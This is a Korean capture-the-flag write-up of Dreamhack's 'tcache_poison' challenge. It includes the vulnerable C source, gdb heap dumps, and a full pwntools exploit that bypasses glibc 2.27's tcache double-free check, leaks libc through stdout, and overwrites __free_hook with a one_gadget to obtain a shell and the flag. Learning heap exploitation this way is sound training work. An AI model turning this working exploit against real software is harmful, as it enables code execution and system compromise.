Description
Exploit Tech: Tcache Poisoning에서 실습하는 문제입니다.
checksec
[*] '/home/seo/Documents/dreamhack.io/tcache_poison/tcache_poison' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
로컬 테스트 환경:
Ubuntu 18.04.6 (libc6: 2.27-3ubuntu1.6)
Source Code
tcache_poison.c
// Name: tcache_poison.c // Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { void *chunk = NULL; unsigned int size; int idx; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); while (1) { printf("1. Allocate\n"); printf("2. Free\n"); printf("3. Print\n"); printf("4. Edit\n"); scanf("%d", &idx); switch (idx) { case 1: printf("Size: "); scanf("%d", &size); chunk = malloc(size); printf("Content: "); read(0, chunk, size - 1); break; case 2: free(chunk); break; case 3: printf("Content: %s", chunk); break; case 4: printf("Edit chunk: "); read(0, chunk, size - 1); break; default: break; } } return 0; }
각 케이스 1~4번을 입력받는다.
1 : size만큼 동적으로 할당하고 데이터를 쓸 수 있다. chunk 라는 포인터 변수에 저장한다.
2 : chunk 포인터 변수에 저장된 주소의 힙 영역, 메모리 공간을 해제한다.
3 : chunk 포인터 변수의 저장된 주소로부터 데이터를 출력한다.
4 : chunk 포인터 변수의 저장된 주소에 데이터를 쓴다.
Solution
seo@ubuntu:~/Documents/dreamhack.io/tcache_poison$ ./tcache_poison 1. Allocate 2. Free 3. Print 4. Edit 1 Size: 8 Content: AAAAAAA 1. Allocate 2. Free 3. Print 4. Edit 2 1. Allocate 2. Free 3. Print 4. Edit 2 free(): double free detected in tcache 2 Aborted (core dumped)
이번 문제에서는 이전 tcache_dup 문제와 달리 double free를 감지한다.
이러한 이유는
https://github.com/bminor/glibc/blob/glibc-2.37.9000/malloc/malloc.c#L3157
https://github.com/bminor/glibc/blob/glibc-2.37.9000/malloc/malloc.c#L4459
/* Caller must ensure that we know tc_idx is valid and there's room for more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) { tcache_entry *e = (tcache_entry *) chunk2mem (chunk); /* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */ e->key = tcache_key; e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]); tcache->entries[tc_idx] = e; ++(tcache->counts[tc_idx]); } static void _int_free (mstate av, mchunkptr p, int have_lock) { INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ ... #if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { /* Check to see if it's already in the tcache. */ tcache_entry *e = (tcache_entry *) chunk2mem (p); /* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */ if (__glibc_unlikely (e->key == tcache_key)) { tcache_entry *tmp; size_t cnt = 0; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = REVEAL_PTR (tmp->next), ++cnt) { if (cnt >= mp_.tcache_count) malloc_printerr ("free(): too many chunks detected in tcache"); if (__glibc_unlikely (!aligned_OK (tmp))) malloc_printerr ("free(): unaligned chunk detected in tcache 2"); if (tmp == e) malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ } } ...
tcache를 통해 메모리를 할당할 때 tcache_put 함수가 호출되는데,
여기서 e→key에 tcache 포인터인 tcache_key를 삽입한다.
이후에 같은 청크를 해제하려고하면, 해당 청크의 e→key가 tcache_key 포인터인지 비교한다.
여기서 같은 값이면 free(): double free detected in tcache 2
메세지를 출력하고 비정상 종료한다.
따라서 e→key 중 1바이트값을 다른 값으로 덮으면 될 것이다. 한번 해보자.
from pwn import * import warnings warnings.filterwarnings( 'ignore' ) p = process("./tcache_poison") e = ELF("./tcache_poison") def alloc(size, data): p.recvuntil("Edit\n") p.sendline("1") p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.send(data) def free(): p.recvuntil("Edit\n") p.sendline("2") def print_chunk(): p.recvuntil("Edit\n") p.sendline("3") def edit(data): p.recvuntil("Edit\n") p.sendline("4") p.recvuntil(":") p.send(data) # malloc 64 bytes and filled with AAAA... alloc(64, "A"*8) free() pause()
먼저, 64바이트 힙영역의 메모리를 할당하고, A 8바이트를 더미로 채웠다.
그리고 해제해보면,
gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6022a0 (size : 0x20d60) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](1): 0x602260 gdb-peda$ p *(tcache_entry *)0x602260 $1 = { next = 0x0, key = 0x602010 }
key값이 0x602010으로 되있는 것을 알 수 있다.
우리는 4번 메뉴인 Edit으로 key 값을 수정할 수 있는데,
typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key; } tcache_entry;
https://github.com/bminor/glibc/blob/glibc-2.37.9000/malloc/malloc.c#L3102
tcache_entry에 있는 각 필드의 크기는 전부 8바이트이다.
따라서, next 포인터 값을 8바이트 더미로 채우고, key 값을 수정하면 된다.
# Bypass DFB mitigation edit("B"*8 + "\x00")
gdb-peda$ p *(tcache_entry *)0x602260 $2 = { next = 0x4242424242424242, key = 0x602000 }
위와 같이 Edit 메뉴를 통해 수정해주었다.
key값 중 하위 1바이트가 0x00으로 수정된 것을 알 수 있다.
그리고, free를 한번 더 해보자.
gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x250 Used None None 0x602250 0x0 0x50 Freed 0x602260 None gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6022a0 (size : 0x20d60) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](2): 0x602260 --> 0x602260 (overlap chunk with 0x602250(freed) )
DFB mitigation이 우회되어 free(): double free detected in tcache 2
메세지가 출력되지 않고,
청크는 중첩상태가 된 것을 확인할 수 있다.
여기서 이전에 같은 크기로 할당했던 64바이트 메모리를 할당하고,
bss영역에 있는 stdout 주소를 넣으면,
stdout = e.symbols["stdout"] alloc(64, p64(stdout)) pause()
gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x250 Used None None 0x602250 0x0 0x50 Freed 0x601010 None gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6022a0 (size : 0x20d60) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](1): 0x602260 --> 0x601010 --> 0x7ffff7dce760 --> 0xfbad2887 (invaild memory) gdb-peda$ p *(tcache_entry *)0x602260 $3 = { next = 0x601010 <stdout@@GLIBC_2.2.5>, key = 0x0 }
next 포인터에 stdout 주소가 들어갔기 때문에 “Tcache Poisoning” 공격이 수행되었다.
이 상태에서 한번 더 이전과 같은 크기로 힙을 할당하고 데이터를 입력해보면
alloc(64, "C"*8) pause()
gdb-peda$ parseheap addr prev size status fd bk 0x602000 0x0 0x250 Used None None 0x602250 0x0 0x50 Used None None gdb-peda$ heapinfoall =================== Thread 1 =================== (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x6022a0 (size : 0x20d60) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x50) tcache_entry[3](0): 0x601010 --> 0x7ffff7dce760 --> 0xfbad2887 (invaild memory) gdb-peda$ p *(tcache_entry *)0x602260 $2 = { next = 0x4343434343434343, key = 0x0 }
변경된 next chunk의 주소인 0x601010,
즉 stdout 주소가 tcache entry에 들어가게 되고,
이후에 다시 한번 더 같은 64바이트 크기로 할당했을때는
이제 bss 영역에 있는 stdout 주소에 원하는 데이터를 덮어쓰게 된다.
stdout 주소에 있는 값을 leak해서 libc base 주소를 얻을 수 있는데,
여기서 stdout 함수가 비정상적인 작동을 하지 않게하 려면 stdout 주소에 있는 값을 그대로 보존, stdout 주소의 원래 있던 값으로 유지해야 된다.
stdout 주소에 있는 값의 하위 1바이트가 0x60이기 때문에 \x60
으로 1바이트 데이터를 덮어쓰면 된다.
void *buf; // [rsp+10h] [rbp-10h]
chunk 포인터 주소는 rbp-0x10 지점에 있고,
할당하고 \x60으로 덮어쓴 뒤에는 다시 한번 확인해보면
alloc(64, "\x60") pause()
Breakpoint 1, 0x00000000004007da in main () gdb-peda$ x/gx $rbp 0x7fffffffe430: 0x00000000004008d0 gdb-peda$ x/gx $rbp-0x10 0x7fffffffe420: 0x0000000000601010
0x601010인 stdout 주소가 chunk 포인터 주소로 들어간 것을 알 수 있다.
이제 3번 메뉴인 Print를 통해 stdout 주소를 leak해서 libc base를 구할 수 있다.
#Leak stdout address / get libc base address libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") print_chunk() p.recvuntil("Content: ") stdout = u64(p.recv(6).ljust(8, b"\x00")) libc_base = stdout - libc.symbols["_IO_2_1_stdout_"] print(f"libc_base: {hex(libc_base)}")
libc_base: 0x7ffff79e2000
libc_base 주소는 0x7ffff79e2000였다.
위와 같이 한번더 DFB로 특정 메모리 주소에 데이터를 덮어씌워서 쉘을 획득하면 될 것이다.
다음으로 __free_hook()
을 oneshot 가젯으로 한번 덮어서 쉘을 획득해보자.
seo@ubuntu:~/Documents/dreamhack.io/tcache_poison$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x4f29e execve("/bin/sh", rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv 0x4f2a5 execve("/bin/sh", rsp+0x40, environ) constraints: address rsp+0x50 is writable rsp & 0xf == 0 rcx == NULL || {rcx, rax, r12, NULL} is a valid argv 0x4f302 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv 0x10a2fc execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
여러 one_gadget 주소가 있는데, 여기서 필자는 0x4f302 주소를 사용하였다.
#Get one_gadget address / __free_hook address free_hook = libc_base + libc.symbols["__free_hook"] one_gadget = libc_base + 0x4f302 #Overwrite one_gadget address to __free_hook using DFB bug alloc(128, "D"*8) free() edit("E"*8 + "\x00") # Bypass DFB mitigation free() # and free again! alloc(128, p64(free_hook)) alloc(128, "F"*8) alloc(128, p64(one_gadget))
gdb-peda$ p/x &__free_hook $1 = 0x7ffff7dcf8e8 gdb-peda$ x/gx 0x7ffff7dcf8e8 0x7ffff7dcf8e8 <__free_hook>: 0x00007ffff7a31302 gdb-peda$ x/gx 0x00007ffff7a31302 0x7ffff7a31302 <do_system+1138>: 0x480039bb9f058b48 gdb-peda$ x/10i 0x00007ffff7a31302 0x7ffff7a31302 <do_system+1138>: mov rax,QWORD PTR [rip+0x39bb9f] # 0x7ffff7dccea8 0x7ffff7a31309 <do_system+1145>: lea rdi,[rip+0x164a78] # 0x7ffff7b95d88 0x7ffff7a31310 <do_system+1152>: lea rsi,[rsp+0x40] 0x7ffff7a31315 <do_system+1157>: mov DWORD PTR [rip+0x39e2c1],0x0 # 0x7ffff7dcf5e0 <lock> 0x7ffff7a3131f <do_system+1167>: mov DWORD PTR [rip+0x39e2bb],0x0 # 0x7ffff7dcf5e4 <sa_refcntr> 0x7ffff7a31329 <do_system+1177>: mov rdx,QWORD PTR [rax] 0x7ffff7a3132c <do_system+1180>: call 0x7ffff7ac6ae0 <execve> 0x7ffff7a31331 <do_system+1185>: mov edi,0x7f 0x7ffff7a31336 <do_system+1190>: call 0x7ffff7ac6a80 <__GI__exit> 0x7ffff7a3133b <do_system+1195>: call 0x7ffff7b16ae0 <__stack_chk_fail>
__free_hook()
에 oneshot 가젯 주소로 덮어씌워진 것을 확인할 수 있다.
이제, 2번 메뉴인 free를 호출하면 쉘을 획득할 수 있다.
seo@ubuntu:~/Documents/dreamhack.io/tcache_poison$ python3 poc.py [+] Starting local process './tcache_poison': pid 7056 [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/Documents/dreamhack.io/tcache_poison/tcache_poison' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/lib/x86_64-linux-gnu/libc.so.6' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled libc_base: 0x7ffff79e2000 [*] Paused (press any to continue) [*] Switching to interactive mode 1. Allocate 2. Free 3. Print 4. Edit $ 2 $ ls answer.py flag peda-session-tcache_poison.txt tcache_poison Dockerfile libc-2.27.so poc.py tcache_poison.c
solve.py
from pwn import * import warnings warnings.filterwarnings( 'ignore' ) #p = process("./tcache_poison") p = remote("host3.dreamhack.games", 19080) e = ELF("./tcache_poison") def alloc(size, data): p.recvuntil("Edit\n") p.sendline("1") p.recvuntil(":") p.sendline(str(size)) p.recvuntil(":") p.send(data) def free(): p.recvuntil("Edit\n") p.sendline("2") def print_chunk(): p.recvuntil("Edit\n") p.sendline("3") def edit(data): p.recvuntil("Edit\n") p.sendline("4") p.recvuntil(":") p.send(data) # malloc 64 bytes and filled with AAAA... alloc(64, "A"*8) free() # Bypass DFB mitigation and free again! edit("B"*8 + "\x00") free() #Make void *chunk as stdout stdout = e.symbols["stdout"] alloc(64, p64(stdout)) alloc(64, "C"*8) alloc(64, "\x60") #Leak stdout address / get libc base address libc = ELF("./libc-2.27.so") print_chunk() p.recvuntil("Content: ") stdout = u64(p.recv(6).ljust(8, b"\x00")) libc_base = stdout - libc.symbols["_IO_2_1_stdout_"] print(f"libc_base: {hex(libc_base)}") #Get one_gadget address / __free_hook address free_hook = libc_base + libc.symbols["__free_hook"] one_gadget = libc_base + 0x4f432 #Overwrite one_gadget address to __free_hook using DFB bug alloc(128, "D"*8) free() edit("E"*8 + "\x00") # Bypass DFB mitigation free() # and free again! alloc(128, p64(free_hook)) alloc(128, "F"*8) alloc(128, p64(one_gadget)) #Call free to get shell free() p.interactive()
Result
seo@ubuntu:~/Documents/dreamhack.io/tcache_poison$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 19080: Done [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/Documents/dreamhack.io/tcache_poison/tcache_poison' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/Documents/dreamhack.io/tcache_poison/libc-2.27.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled libc_base: 0x7f6c7fc0c000 [*] Switching to interactive mode $ ls flag tcache_poison $ cat flag DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc}